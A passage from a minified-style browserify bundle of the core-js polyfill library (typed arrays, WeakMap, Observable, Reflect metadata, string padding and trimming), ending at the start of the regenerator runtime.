, ARRAY_BUFFER = 'ArrayBuffer';
$export($export.G + $export.W + $export.F * (ArrayBuffer !== $ArrayBuffer), {ArrayBuffer: $ArrayBuffer});
$export($export.S + $export.F * !$typed.CONSTR, ARRAY_BUFFER, {
// 24.1.3.1 ArrayBuffer.isView(arg)
isView: function isView(it){
return $isView && $isView(it) || isObject(it) && VIEW in it;
}
});
$export($export.P + $export.U + $export.F * _dereq_(34)(function(){
return !new $ArrayBuffer(2).slice(1, undefined).byteLength;
}), ARRAY_BUFFER, {
// 24.1.4.3 ArrayBuffer.prototype.slice(start, end)
slice: function slice(start, end){
if($slice !== undefined && end === undefined)return $slice.call(anObject(this), start); // FF fix
var len = anObject(this).byteLength
, first = toIndex(start, len)
, final = toIndex(end === undefined ? len : end, len)
, result = new (speciesConstructor(this, $ArrayBuffer))(toLength(final - first))
, viewS = new $DataView(this)
, viewT = new $DataView(result)
, index = 0;
while(first < final){
viewT.setUint8(index++, viewS.getUint8(first++));
} return result;
}
});
_dereq_(91)(ARRAY_BUFFER);
},{"105":105,"108":108,"112":112,"113":113,"32":32,"34":34,"38":38,"49":49,"7":7,"91":91,"95":95}],245:[function(_dereq_,module,exports){
var $export = _dereq_(32);
$export($export.G + $export.W + $export.F * !_dereq_(113).ABV, {
DataView: _dereq_(112).DataView
});
},{"112":112,"113":113,"32":32}],246:[function(_dereq_,module,exports){
_dereq_(111)('Float32', 4, function(init){
return function Float32Array(data, byteOffset, length){
return init(this, data, byteOffset, length);
};
});
},{"111":111}],247:[function(_dereq_,module,exports){
_dereq_(111)('Float64', 8, function(init){
return function Float64Array(data, byteOffset, length){
return init(this, data, byteOffset, length);
};
});
},{"111":111}],248:[function(_dereq_,module,exports){
_dereq_(111)('Int16', 2, function(init){
return function Int16Array(data, byteOffset, length){
return init(this, data, byteOffset, length);
};
});
},{"111":111}],249:[function(_dereq_,module,exports){
_dereq_(111)('Int32', 4, function(init){
return function Int32Array(data, byteOffset, length){
return init(this, data, byteOffset, length);
};
});
},{"111":111}],250:[function(_dereq_,module,exports){
_dereq_(111)('Int8', 1, function(init){
return function Int8Array(data, byteOffset, length){
return init(this, data, byteOffset, length);
};
});
},{"111":111}],251:[function(_dereq_,module,exports){
_dereq_(111)('Uint16', 2, function(init){
return function Uint16Array(data, byteOffset, length){
return init(this, data, byteOffset, length);
};
});
},{"111":111}],252:[function(_dereq_,module,exports){
_dereq_(111)('Uint32', 4, function(init){
return function Uint32Array(data, byteOffset, length){
return init(this, data, byteOffset, length);
};
});
},{"111":111}],253:[function(_dereq_,module,exports){
_dereq_(111)('Uint8', 1, function(init){
return function Uint8Array(data, byteOffset, length){
return init(this, data, byteOffset, length);
};
});
},{"111":111}],254:[function(_dereq_,module,exports){
_dereq_(111)('Uint8', 1, function(init){
return function Uint8ClampedArray(data, byteOffset, length){
return init(this, data, byteOffset, length);
};
}, true);
},{"111":111}],255:[function(_dereq_,module,exports){
'use strict';
var each = _dereq_(12)(0)
, redefine = _dereq_(87)
, meta = _dereq_(62)
, assign = _dereq_(65)
, weak = _dereq_(21)
, isObject = _dereq_(49)
, getWeak = meta.getWeak
, isExtensible = Object.isExtensible
, uncaughtFrozenStore = weak.ufstore
, tmp = {}
, InternalMap;
var wrapper = function(get){
return function WeakMap(){
return get(this, arguments.length > 0 ? arguments[0] : undefined);
};
};
var methods = {
// 23.3.3.3 WeakMap.prototype.get(key)
get: function get(key){
if(isObject(key)){
var data = getWeak(key);
if(data === true)return uncaughtFrozenStore(this).get(key);
return data ? data[this._i] : undefined;
}
},
// 23.3.3.5 WeakMap.prototype.set(key, value)
set: function set(key, value){
return weak.def(this, key, value);
}
};
// 23.3 WeakMap Objects
var $WeakMap = module.exports = _dereq_(22)('WeakMap', wrapper, methods, weak, true, true);
// IE11 WeakMap frozen keys fix
if(new $WeakMap().set((Object.freeze || Object)(tmp), 7).get(tmp) != 7){
InternalMap = weak.getConstructor(wrapper);
assign(InternalMap.prototype, methods);
meta.NEED = true;
each(['delete', 'has', 'get', 'set'], function(key){
var proto = $WeakMap.prototype
, method = proto[key];
redefine(proto, key, function(a, b){
// store frozen objects on internal weakmap shim
if(isObject(a) && !isExtensible(a)){
if(!this._f)this._f = new InternalMap;
var result = this._f[key](a, b);
return key == 'set' ? this : result;
// store all the rest on native weakmap
} return method.call(this, a, b);
});
});
}
},{"12":12,"21":21,"22":22,"49":49,"62":62,"65":65,"87":87}],256:[function(_dereq_,module,exports){
'use strict';
var weak = _dereq_(21);
// 23.4 WeakSet Objects
_dereq_(22)('WeakSet', function(get){
return function WeakSet(){ return get(this, arguments.length > 0 ? arguments[0] : undefined); };
}, {
// 23.4.3.1 WeakSet.prototype.add(value)
add: function add(value){
return weak.def(this, value, true);
}
}, weak, false, true);
},{"21":21,"22":22}],257:[function(_dereq_,module,exports){
'use strict';
// https://github.com/tc39/Array.prototype.includes
var $export = _dereq_(32)
, $includes = _dereq_(11)(true);
$export($export.P, 'Array', {
includes: function includes(el /*, fromIndex = 0 */){
return $includes(this, el, arguments.length > 1 ? arguments[1] : undefined);
}
});
_dereq_(5)('includes');
},{"11":11,"32":32,"5":5}],258:[function(_dereq_,module,exports){
// https://github.com/rwaldron/tc39-notes/blob/master/es6/2014-09/sept-25.md#510-globalasap-for-enqueuing-a-microtask
var $export = _dereq_(32)
, microtask = _dereq_(64)()
, process = _dereq_(38).process
, isNode = _dereq_(18)(process) == 'process';
$export($export.G, {
asap: function asap(fn){
var domain = isNode && process.domain;
microtask(domain ? domain.bind(fn) : fn);
}
});
},{"18":18,"32":32,"38":38,"64":64}],259:[function(_dereq_,module,exports){
// https://github.com/ljharb/proposal-is-error
var $export = _dereq_(32)
, cof = _dereq_(18);
$export($export.S, 'Error', {
isError: function isError(it){
return cof(it) === 'Error';
}
});
},{"18":18,"32":32}],260:[function(_dereq_,module,exports){
// https://github.com/DavidBruant/Map-Set.prototype.toJSON
var $export = _dereq_(32);
$export($export.P + $export.R, 'Map', {toJSON: _dereq_(20)('Map')});
},{"20":20,"32":32}],261:[function(_dereq_,module,exports){
// https://gist.github.com/BrendanEich/4294d5c212a6d2254703
var $export = _dereq_(32);
$export($export.S, 'Math', {
iaddh: function iaddh(x0, x1, y0, y1){
var $x0 = x0 >>> 0
, $x1 = x1 >>> 0
, $y0 = y0 >>> 0;
return $x1 + (y1 >>> 0) + (($x0 & $y0 | ($x0 | $y0) & ~($x0 + $y0 >>> 0)) >>> 31) | 0;
}
});
},{"32":32}],262:[function(_dereq_,module,exports){
// https://gist.github.com/BrendanEich/4294d5c212a6d2254703
var $export = _dereq_(32);
$export($export.S, 'Math', {
imulh: function imulh(u, v){
var UINT16 = 0xffff
, $u = +u
, $v = +v
, u0 = $u & UINT16
, v0 = $v & UINT16
, u1 = $u >> 16
, v1 = $v >> 16
, t = (u1 * v0 >>> 0) + (u0 * v0 >>> 16);
return u1 * v1 + (t >> 16) + ((u0 * v1 >>> 0) + (t & UINT16) >> 16);
}
});
},{"32":32}],263:[function(_dereq_,module,exports){
// https://gist.github.com/BrendanEich/4294d5c212a6d2254703
var $export = _dereq_(32);
$export($export.S, 'Math', {
isubh: function isubh(x0, x1, y0, y1){
var $x0 = x0 >>> 0
, $x1 = x1 >>> 0
, $y0 = y0 >>> 0;
return $x1 - (y1 >>> 0) - ((~$x0 & $y0 | ~($x0 ^ $y0) & $x0 - $y0 >>> 0) >>> 31) | 0;
}
});
},{"32":32}],264:[function(_dereq_,module,exports){
// https://gist.github.com/BrendanEich/4294d5c212a6d2254703
var $export = _dereq_(32);
$export($export.S, 'Math', {
umulh: function umulh(u, v){
var UINT16 = 0xffff
, $u = +u
, $v = +v
, u0 = $u & UINT16
, v0 = $v & UINT16
, u1 = $u >>> 16
, v1 = $v >>> 16
, t = (u1 * v0 >>> 0) + (u0 * v0 >>> 16);
return u1 * v1 + (t >>> 16) + ((u0 * v1 >>> 0) + (t & UINT16) >>> 16);
}
});
},{"32":32}],265:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, toObject = _dereq_(109)
, aFunction = _dereq_(3)
, $defineProperty = _dereq_(67);
// B.2.2.2 Object.prototype.__defineGetter__(P, getter)
_dereq_(28) && $export($export.P + _dereq_(69), 'Object', {
__defineGetter__: function __defineGetter__(P, getter){
$defineProperty.f(toObject(this), P, {get: aFunction(getter), enumerable: true, configurable: true});
}
});
},{"109":109,"28":28,"3":3,"32":32,"67":67,"69":69}],266:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, toObject = _dereq_(109)
, aFunction = _dereq_(3)
, $defineProperty = _dereq_(67);
// B.2.2.3 Object.prototype.__defineSetter__(P, setter)
_dereq_(28) && $export($export.P + _dereq_(69), 'Object', {
__defineSetter__: function __defineSetter__(P, setter){
$defineProperty.f(toObject(this), P, {set: aFunction(setter), enumerable: true, configurable: true});
}
});
},{"109":109,"28":28,"3":3,"32":32,"67":67,"69":69}],267:[function(_dereq_,module,exports){
// https://github.com/tc39/proposal-object-values-entries
var $export = _dereq_(32)
, $entries = _dereq_(79)(true);
$export($export.S, 'Object', {
entries: function entries(it){
return $entries(it);
}
});
},{"32":32,"79":79}],268:[function(_dereq_,module,exports){
// https://github.com/tc39/proposal-object-getownpropertydescriptors
var $export = _dereq_(32)
, ownKeys = _dereq_(80)
, toIObject = _dereq_(107)
, gOPD = _dereq_(70)
, createProperty = _dereq_(24);
$export($export.S, 'Object', {
getOwnPropertyDescriptors: function getOwnPropertyDescriptors(object){
var O = toIObject(object)
, getDesc = gOPD.f
, keys = ownKeys(O)
, result = {}
, i = 0
, key;
while(keys.length > i)createProperty(result, key = keys[i++], getDesc(O, key));
return result;
}
});
},{"107":107,"24":24,"32":32,"70":70,"80":80}],269:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, toObject = _dereq_(109)
, toPrimitive = _dereq_(110)
, getPrototypeOf = _dereq_(74)
, getOwnPropertyDescriptor = _dereq_(70).f;
// B.2.2.4 Object.prototype.__lookupGetter__(P)
_dereq_(28) && $export($export.P + _dereq_(69), 'Object', {
__lookupGetter__: function __lookupGetter__(P){
var O = toObject(this)
, K = toPrimitive(P, true)
, D;
do {
if(D = getOwnPropertyDescriptor(O, K))return D.get;
} while(O = getPrototypeOf(O));
}
});
},{"109":109,"110":110,"28":28,"32":32,"69":69,"70":70,"74":74}],270:[function(_dereq_,module,exports){
'use strict';
var $export = _dereq_(32)
, toObject = _dereq_(109)
, toPrimitive = _dereq_(110)
, getPrototypeOf = _dereq_(74)
, getOwnPropertyDescriptor = _dereq_(70).f;
// B.2.2.5 Object.prototype.__lookupSetter__(P)
_dereq_(28) && $export($export.P + _dereq_(69), 'Object', {
__lookupSetter__: function __lookupSetter__(P){
var O = toObject(this)
, K = toPrimitive(P, true)
, D;
do {
if(D = getOwnPropertyDescriptor(O, K))return D.set;
} while(O = getPrototypeOf(O));
}
});
},{"109":109,"110":110,"28":28,"32":32,"69":69,"70":70,"74":74}],271:[function(_dereq_,module,exports){
// https://github.com/tc39/proposal-object-values-entries
var $export = _dereq_(32)
, $values = _dereq_(79)(false);
$export($export.S, 'Object', {
values: function values(it){
return $values(it);
}
});
},{"32":32,"79":79}],272:[function(_dereq_,module,exports){
'use strict';
// https://github.com/zenparsing/es-observable
var $export = _dereq_(32)
, global = _dereq_(38)
, core = _dereq_(23)
, microtask = _dereq_(64)()
, OBSERVABLE = _dereq_(117)('observable')
, aFunction = _dereq_(3)
, anObject = _dereq_(7)
, anInstance = _dereq_(6)
, redefineAll = _dereq_(86)
, hide = _dereq_(40)
, forOf = _dereq_(37)
, RETURN = forOf.RETURN;
var getMethod = function(fn){
return fn == null ? undefined : aFunction(fn);
};
var cleanupSubscription = function(subscription){
var cleanup = subscription._c;
if(cleanup){
subscription._c = undefined;
cleanup();
}
};
var subscriptionClosed = function(subscription){
return subscription._o === undefined;
};
var closeSubscription = function(subscription){
if(!subscriptionClosed(subscription)){
subscription._o = undefined;
cleanupSubscription(subscription);
}
};
var Subscription = function(observer, subscriber){
anObject(observer);
this._c = undefined;
this._o = observer;
observer = new SubscriptionObserver(this);
try {
var cleanup = subscriber(observer)
, subscription = cleanup;
if(cleanup != null){
if(typeof cleanup.unsubscribe === 'function')cleanup = function(){ subscription.unsubscribe(); };
else aFunction(cleanup);
this._c = cleanup;
}
} catch(e){
observer.error(e);
return;
} if(subscriptionClosed(this))cleanupSubscription(this);
};
Subscription.prototype = redefineAll({}, {
unsubscribe: function unsubscribe(){ closeSubscription(this); }
});
var SubscriptionObserver = function(subscription){
this._s = subscription;
};
SubscriptionObserver.prototype = redefineAll({}, {
next: function next(value){
var subscription = this._s;
if(!subscriptionClosed(subscription)){
var observer = subscription._o;
try {
var m = getMethod(observer.next);
if(m)return m.call(observer, value);
} catch(e){
try {
closeSubscription(subscription);
} finally {
throw e;
}
}
}
},
error: function error(value){
var subscription = this._s;
if(subscriptionClosed(subscription))throw value;
var observer = subscription._o;
subscription._o = undefined;
try {
var m = getMethod(observer.error);
if(!m)throw value;
value = m.call(observer, value);
} catch(e){
try {
cleanupSubscription(subscription);
} finally {
throw e;
}
} cleanupSubscription(subscription);
return value;
},
complete: function complete(value){
var subscription = this._s;
if(!subscriptionClosed(subscription)){
var observer = subscription._o;
subscription._o = undefined;
try {
var m = getMethod(observer.complete);
value = m ? m.call(observer, value) : undefined;
} catch(e){
try {
cleanupSubscription(subscription);
} finally {
throw e;
}
} cleanupSubscription(subscription);
return value;
}
}
});
var $Observable = function Observable(subscriber){
anInstance(this, $Observable, 'Observable', '_f')._f = aFunction(subscriber);
};
redefineAll($Observable.prototype, {
subscribe: function subscribe(observer){
return new Subscription(observer, this._f);
},
forEach: function forEach(fn){
var that = this;
return new (core.Promise || global.Promise)(function(resolve, reject){
aFunction(fn);
var subscription = that.subscribe({
next : function(value){
try {
return fn(value);
} catch(e){
reject(e);
subscription.unsubscribe();
}
},
error: reject,
complete: resolve
});
});
}
});
redefineAll($Observable, {
from: function from(x){
var C = typeof this === 'function' ? this : $Observable;
var method = getMethod(anObject(x)[OBSERVABLE]);
if(method){
var observable = anObject(method.call(x));
return observable.constructor === C ? observable : new C(function(observer){
return observable.subscribe(observer);
});
}
return new C(function(observer){
var done = false;
microtask(function(){
if(!done){
try {
if(forOf(x, false, function(it){
observer.next(it);
if(done)return RETURN;
}) === RETURN)return;
} catch(e){
if(done)throw e;
observer.error(e);
return;
} observer.complete();
}
});
return function(){ done = true; };
});
},
of: function of(){
for(var i = 0, l = arguments.length, items = Array(l); i < l;)items[i] = arguments[i++];
return new (typeof this === 'function' ? this : $Observable)(function(observer){
var done = false;
microtask(function(){
if(!done){
for(var i = 0; i < items.length; ++i){
observer.next(items[i]);
if(done)return;
} observer.complete();
}
});
return function(){ done = true; };
});
}
});
hide($Observable.prototype, OBSERVABLE, function(){ return this; });
$export($export.G, {Observable: $Observable});
_dereq_(91)('Observable');
},{"117":117,"23":23,"3":3,"32":32,"37":37,"38":38,"40":40,"6":6,"64":64,"7":7,"86":86,"91":91}],273:[function(_dereq_,module,exports){
var metadata = _dereq_(63)
, anObject = _dereq_(7)
, toMetaKey = metadata.key
, ordinaryDefineOwnMetadata = metadata.set;
metadata.exp({defineMetadata: function defineMetadata(metadataKey, metadataValue, target, targetKey){
ordinaryDefineOwnMetadata(metadataKey, metadataValue, anObject(target), toMetaKey(targetKey));
}});
},{"63":63,"7":7}],274:[function(_dereq_,module,exports){
var metadata = _dereq_(63)
, anObject = _dereq_(7)
, toMetaKey = metadata.key
, getOrCreateMetadataMap = metadata.map
, store = metadata.store;
metadata.exp({deleteMetadata: function deleteMetadata(metadataKey, target /*, targetKey */){
var targetKey = arguments.length < 3 ? undefined : toMetaKey(arguments[2])
, metadataMap = getOrCreateMetadataMap(anObject(target), targetKey, false);
if(metadataMap === undefined || !metadataMap['delete'](metadataKey))return false;
if(metadataMap.size)return true;
var targetMetadata = store.get(target);
targetMetadata['delete'](targetKey);
return !!targetMetadata.size || store['delete'](target);
}});
},{"63":63,"7":7}],275:[function(_dereq_,module,exports){
var Set = _dereq_(220)
, from = _dereq_(10)
, metadata = _dereq_(63)
, anObject = _dereq_(7)
, getPrototypeOf = _dereq_(74)
, ordinaryOwnMetadataKeys = metadata.keys
, toMetaKey = metadata.key;
var ordinaryMetadataKeys = function(O, P){
var oKeys = ordinaryOwnMetadataKeys(O, P)
, parent = getPrototypeOf(O);
if(parent === null)return oKeys;
var pKeys = ordinaryMetadataKeys(parent, P);
return pKeys.length ? oKeys.length ? from(new Set(oKeys.concat(pKeys))) : pKeys : oKeys;
};
metadata.exp({getMetadataKeys: function getMetadataKeys(target /*, targetKey */){
return ordinaryMetadataKeys(anObject(target), arguments.length < 2 ? undefined : toMetaKey(arguments[1]));
}});
},{"10":10,"220":220,"63":63,"7":7,"74":74}],276:[function(_dereq_,module,exports){
var metadata = _dereq_(63)
, anObject = _dereq_(7)
, getPrototypeOf = _dereq_(74)
, ordinaryHasOwnMetadata = metadata.has
, ordinaryGetOwnMetadata = metadata.get
, toMetaKey = metadata.key;
var ordinaryGetMetadata = function(MetadataKey, O, P){
var hasOwn = ordinaryHasOwnMetadata(MetadataKey, O, P);
if(hasOwn)return ordinaryGetOwnMetadata(MetadataKey, O, P);
var parent = getPrototypeOf(O);
return parent !== null ? ordinaryGetMetadata(MetadataKey, parent, P) : undefined;
};
metadata.exp({getMetadata: function getMetadata(metadataKey, target /*, targetKey */){
return ordinaryGetMetadata(metadataKey, anObject(target), arguments.length < 3 ? undefined : toMetaKey(arguments[2]));
}});
},{"63":63,"7":7,"74":74}],277:[function(_dereq_,module,exports){
var metadata = _dereq_(63)
, anObject = _dereq_(7)
, ordinaryOwnMetadataKeys = metadata.keys
, toMetaKey = metadata.key;
metadata.exp({getOwnMetadataKeys: function getOwnMetadataKeys(target /*, targetKey */){
return ordinaryOwnMetadataKeys(anObject(target), arguments.length < 2 ? undefined : toMetaKey(arguments[1]));
}});
},{"63":63,"7":7}],278:[function(_dereq_,module,exports){
var metadata = _dereq_(63)
, anObject = _dereq_(7)
, ordinaryGetOwnMetadata = metadata.get
, toMetaKey = metadata.key;
metadata.exp({getOwnMetadata: function getOwnMetadata(metadataKey, target /*, targetKey */){
return ordinaryGetOwnMetadata(metadataKey, anObject(target)
, arguments.length < 3 ? undefined : toMetaKey(arguments[2]));
}});
},{"63":63,"7":7}],279:[function(_dereq_,module,exports){
var metadata = _dereq_(63)
, anObject = _dereq_(7)
, getPrototypeOf = _dereq_(74)
, ordinaryHasOwnMetadata = metadata.has
, toMetaKey = metadata.key;
var ordinaryHasMetadata = function(MetadataKey, O, P){
var hasOwn = ordinaryHasOwnMetadata(MetadataKey, O, P);
if(hasOwn)return true;
var parent = getPrototypeOf(O);
return parent !== null ? ordinaryHasMetadata(MetadataKey, parent, P) : false;
};
metadata.exp({hasMetadata: function hasMetadata(metadataKey, target /*, targetKey */){
return ordinaryHasMetadata(metadataKey, anObject(target), arguments.length < 3 ? undefined : toMetaKey(arguments[2]));
}});
},{"63":63,"7":7,"74":74}],280:[function(_dereq_,module,exports){
var metadata = _dereq_(63)
, anObject = _dereq_(7)
, ordinaryHasOwnMetadata = metadata.has
, toMetaKey = metadata.key;
metadata.exp({hasOwnMetadata: function hasOwnMetadata(metadataKey, target /*, targetKey */){
return ordinaryHasOwnMetadata(metadataKey, anObject(target)
, arguments.length < 3 ? undefined : toMetaKey(arguments[2]));
}});
},{"63":63,"7":7}],281:[function(_dereq_,module,exports){
var metadata = _dereq_(63)
, anObject = _dereq_(7)
, aFunction = _dereq_(3)
, toMetaKey = metadata.key
, ordinaryDefineOwnMetadata = metadata.set;
metadata.exp({metadata: function metadata(metadataKey, metadataValue){
return function decorator(target, targetKey){
ordinaryDefineOwnMetadata(
metadataKey, metadataValue,
(targetKey !== undefined ? anObject : aFunction)(target),
toMetaKey(targetKey)
);
};
}});
},{"3":3,"63":63,"7":7}],282:[function(_dereq_,module,exports){
// https://github.com/DavidBruant/Map-Set.prototype.toJSON
var $export = _dereq_(32);
$export($export.P + $export.R, 'Set', {toJSON: _dereq_(20)('Set')});
},{"20":20,"32":32}],283:[function(_dereq_,module,exports){
'use strict';
// https://github.com/mathiasbynens/String.prototype.at
var $export = _dereq_(32)
, $at = _dereq_(97)(true);
$export($export.P, 'String', {
at: function at(pos){
return $at(this, pos);
}
});
},{"32":32,"97":97}],284:[function(_dereq_,module,exports){
'use strict';
// https://tc39.github.io/String.prototype.matchAll/
var $export = _dereq_(32)
, defined = _dereq_(27)
, toLength = _dereq_(108)
, isRegExp = _dereq_(50)
, getFlags = _dereq_(36)
, RegExpProto = RegExp.prototype;
var $RegExpStringIterator = function(regexp, string){
this._r = regexp;
this._s = string;
};
_dereq_(52)($RegExpStringIterator, 'RegExp String', function next(){
var match = this._r.exec(this._s);
return {value: match, done: match === null};
});
$export($export.P, 'String', {
matchAll: function matchAll(regexp){
defined(this);
if(!isRegExp(regexp))throw TypeError(regexp + ' is not a regexp!');
var S = String(this)
, flags = 'flags' in RegExpProto ? String(regexp.flags) : getFlags.call(regexp)
, rx = new RegExp(regexp.source, ~flags.indexOf('g') ? flags : 'g' + flags);
rx.lastIndex = toLength(regexp.lastIndex);
return new $RegExpStringIterator(rx, S);
}
});
},{"108":108,"27":27,"32":32,"36":36,"50":50,"52":52}],285:[function(_dereq_,module,exports){
'use strict';
// https://github.com/tc39/proposal-string-pad-start-end
var $export = _dereq_(32)
, $pad = _dereq_(100);
$export($export.P, 'String', {
padEnd: function padEnd(maxLength /*, fillString = ' ' */){
return $pad(this, maxLength, arguments.length > 1 ? arguments[1] : undefined, false);
}
});
},{"100":100,"32":32}],286:[function(_dereq_,module,exports){
'use strict';
// https://github.com/tc39/proposal-string-pad-start-end
var $export = _dereq_(32)
, $pad = _dereq_(100);
$export($export.P, 'String', {
padStart: function padStart(maxLength /*, fillString = ' ' */){
return $pad(this, maxLength, arguments.length > 1 ? arguments[1] : undefined, true);
}
});
},{"100":100,"32":32}],287:[function(_dereq_,module,exports){
'use strict';
// https://github.com/sebmarkbage/ecmascript-string-left-right-trim
_dereq_(102)('trimLeft', function($trim){
return function trimLeft(){
return $trim(this, 1);
};
}, 'trimStart');
},{"102":102}],288:[function(_dereq_,module,exports){
'use strict';
// https://github.com/sebmarkbage/ecmascript-string-left-right-trim
_dereq_(102)('trimRight', function($trim){
return function trimRight(){
return $trim(this, 2);
};
}, 'trimEnd');
},{"102":102}],289:[function(_dereq_,module,exports){
_dereq_(115)('asyncIterator');
},{"115":115}],290:[function(_dereq_,module,exports){
_dereq_(115)('observable');
},{"115":115}],291:[function(_dereq_,module,exports){
// https://github.com/ljharb/proposal-global
var $export = _dereq_(32);
$export($export.S, 'System', {global: _dereq_(38)});
},{"32":32,"38":38}],292:[function(_dereq_,module,exports){
var $iterators = _dereq_(130)
, redefine = _dereq_(87)
, global = _dereq_(38)
, hide = _dereq_(40)
, Iterators = _dereq_(56)
, wks = _dereq_(117)
, ITERATOR = wks('iterator')
, TO_STRING_TAG = wks('toStringTag')
, ArrayValues = Iterators.Array;
for(var collections = ['NodeList', 'DOMTokenList', 'MediaList', 'StyleSheetList', 'CSSRuleList'], i = 0; i < 5; i++){
var NAME = collections[i]
, Collection = global[NAME]
, proto = Collection && Collection.prototype
, key;
if(proto){
if(!proto[ITERATOR])hide(proto, ITERATOR, ArrayValues);
if(!proto[TO_STRING_TAG])hide(proto, TO_STRING_TAG, NAME);
Iterators[NAME] = ArrayValues;
for(key in $iterators)if(!proto[key])redefine(proto, key, $iterators[key], true);
}
}
},{"117":117,"130":130,"38":38,"40":40,"56":56,"87":87}],293:[function(_dereq_,module,exports){
var $export = _dereq_(32)
, $task = _dereq_(104);
$export($export.G + $export.B, {
setImmediate: $task.set,
clearImmediate: $task.clear
});
},{"104":104,"32":32}],294:[function(_dereq_,module,exports){
// ie9- setTimeout & setInterval additional parameters fix
var global = _dereq_(38)
, $export = _dereq_(32)
, invoke = _dereq_(44)
, partial = _dereq_(83)
, navigator = global.navigator
, MSIE = !!navigator && /MSIE .\./.test(navigator.userAgent); // <- dirty ie9- check
var wrap = function(set){
return MSIE ? function(fn, time /*, ...args */){
return set(invoke(
partial,
[].slice.call(arguments, 2),
typeof fn == 'function' ? fn : Function(fn)
), time);
} : set;
};
$export($export.G + $export.B + $export.F * MSIE, {
setTimeout: wrap(global.setTimeout),
setInterval: wrap(global.setInterval)
});
},{"32":32,"38":38,"44":44,"83":83}],295:[function(_dereq_,module,exports){
_dereq_(243);
_dereq_(180);
_dereq_(182);
_dereq_(181);
_dereq_(184);
_dereq_(186);
_dereq_(191);
_dereq_(185);
_dereq_(183);
_dereq_(193);
_dereq_(192);
_dereq_(188);
_dereq_(189);
_dereq_(187);
_dereq_(179);
_dereq_(190);
_dereq_(194);
_dereq_(195);
_dereq_(146);
_dereq_(148);
_dereq_(147);
_dereq_(197);
_dereq_(196);
_dereq_(167);
_dereq_(177);
_dereq_(178);
_dereq_(168);
_dereq_(169);
_dereq_(170);
_dereq_(171);
_dereq_(172);
_dereq_(173);
_dereq_(174);
_dereq_(175);
_dereq_(176);
_dereq_(150);
_dereq_(151);
_dereq_(152);
_dereq_(153);
_dereq_(154);
_dereq_(155);
_dereq_(156);
_dereq_(157);
_dereq_(158);
_dereq_(159);
_dereq_(160);
_dereq_(161);
_dereq_(162);
_dereq_(163);
_dereq_(164);
_dereq_(165);
_dereq_(166);
_dereq_(230);
_dereq_(235);
_dereq_(242);
_dereq_(233);
_dereq_(225);
_dereq_(226);
_dereq_(231);
_dereq_(236);
_dereq_(238);
_dereq_(221);
_dereq_(222);
_dereq_(223);
_dereq_(224);
_dereq_(227);
_dereq_(228);
_dereq_(229);
_dereq_(232);
_dereq_(234);
_dereq_(237);
_dereq_(239);
_dereq_(240);
_dereq_(241);
_dereq_(141);
_dereq_(143);
_dereq_(142);
_dereq_(145);
_dereq_(144);
_dereq_(129);
_dereq_(127);
_dereq_(134);
_dereq_(131);
_dereq_(137);
_dereq_(139);
_dereq_(126);
_dereq_(133);
_dereq_(123);
_dereq_(138);
_dereq_(121);
_dereq_(136);
_dereq_(135);
_dereq_(128);
_dereq_(132);
_dereq_(120);
_dereq_(122);
_dereq_(125);
_dereq_(124);
_dereq_(140);
_dereq_(130);
_dereq_(213);
_dereq_(219);
_dereq_(214);
_dereq_(215);
_dereq_(216);
_dereq_(217);
_dereq_(218);
_dereq_(198);
_dereq_(149);
_dereq_(220);
_dereq_(255);
_dereq_(256);
_dereq_(244);
_dereq_(245);
_dereq_(250);
_dereq_(253);
_dereq_(254);
_dereq_(248);
_dereq_(251);
_dereq_(249);
_dereq_(252);
_dereq_(246);
_dereq_(247);
_dereq_(199);
_dereq_(200);
_dereq_(201);
_dereq_(202);
_dereq_(203);
_dereq_(206);
_dereq_(204);
_dereq_(205);
_dereq_(207);
_dereq_(208);
_dereq_(209);
_dereq_(210);
_dereq_(212);
_dereq_(211);
_dereq_(257);
_dereq_(283);
_dereq_(286);
_dereq_(285);
_dereq_(287);
_dereq_(288);
_dereq_(284);
_dereq_(289);
_dereq_(290);
_dereq_(268);
_dereq_(271);
_dereq_(267);
_dereq_(265);
_dereq_(266);
_dereq_(269);
_dereq_(270);
_dereq_(260);
_dereq_(282);
_dereq_(291);
_dereq_(259);
_dereq_(261);
_dereq_(263);
_dereq_(262);
_dereq_(264);
_dereq_(273);
_dereq_(274);
_dereq_(276);
_dereq_(275);
_dereq_(278);
_dereq_(277);
_dereq_(279);
_dereq_(280);
_dereq_(281);
_dereq_(258);
_dereq_(272);
_dereq_(294);
_dereq_(293);
_dereq_(292);
module.exports = _dereq_(23);
},{"120":120,"121":121,"122":122,"123":123,"124":124,"125":125,"126":126,"127":127,"128":128,"129":129,"130":130,"131":131,"132":132,"133":133,"134":134,"135":135,"136":136,"137":137,"138":138,"139":139,"140":140,"141":141,"142":142,"143":143,"144":144,"145":145,"146":146,"147":147,"148":148,"149":149,"150":150,"151":151,"152":152,"153":153,"154":154,"155":155,"156":156,"157":157,"158":158,"159":159,"160":160,"161":161,"162":162,"163":163,"164":164,"165":165,"166":166,"167":167,"168":168,"169":169,"170":170,"171":171,"172":172,"173":173,"174":174,"175":175,"176":176,"177":177,"178":178,"179":179,"180":180,"181":181,"182":182,"183":183,"184":184,"185":185,"186":186,"187":187,"188":188,"189":189,"190":190,"191":191,"192":192,"193":193,"194":194,"195":195,"196":196,"197":197,"198":198,"199":199,"200":200,"201":201,"202":202,"203":203,"204":204,"205":205,"206":206,"207":207,"208":208,"209":209,"210":210,"211":211,"212":212,"213":213,"214":214,"215":215,"216":216,"217":217,"218":218,"219":219,"220":220,"221":221,"222":222,"223":223,"224":224,"225":225,"226":226,"227":227,"228":228,"229":229,"23":23,"230":230,"231":231,"232":232,"233":233,"234":234,"235":235,"236":236,"237":237,"238":238,"239":239,"240":240,"241":241,"242":242,"243":243,"244":244,"245":245,"246":246,"247":247,"248":248,"249":249,"250":250,"251":251,"252":252,"253":253,"254":254,"255":255,"256":256,"257":257,"258":258,"259":259,"260":260,"261":261,"262":262,"263":263,"264":264,"265":265,"266":266,"267":267,"268":268,"269":269,"270":270,"271":271,"272":272,"273":273,"274":274,"275":275,"276":276,"277":277,"278":278,"279":279,"280":280,"281":281,"282":282,"283":283,"284":284,"285":285,"286":286,"287":287,"288":288,"289":289,"290":290,"291":291,"292":292,"293":293,"294":294}],296:[function(_dereq_,module,exports){
(function (global){
/**
* Copyright (c) 2014, Facebook, Inc.
* All rights reserved.
*
* This source code is licensed under the BSD-style license found in the
* https://raw.github.com/facebook/regenerator/master/LICENSE file. An
* additional grant of patent rights can be found in the PATENTS file in
* the same directory.
*/
!(function(global) {
"use strict";
var Op = Object.prototype;
